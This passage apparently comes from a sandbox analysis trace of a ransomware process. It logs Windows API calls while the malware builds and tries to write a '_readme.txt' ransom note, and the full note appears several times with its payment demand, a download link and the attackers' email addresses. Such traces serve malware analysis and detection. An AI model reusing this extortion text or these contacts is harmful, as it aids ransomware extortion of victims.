HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.250] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.250] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0117.250] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.250] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.250] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.250] PathFindFileNameW (pszPath="") returned="" [0117.251] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.251] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.251] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.251] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.251] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.251] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.251] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.251] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0117.251] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0117.252] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.252] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.252] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.252] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.252] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.252] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.252] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.252] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.252] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.252] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.252] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.252] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.252] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x61626b8 [0117.253] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.253] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.253] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.254] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.254] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.255] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.255] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.256] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0117.256] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0117.256] 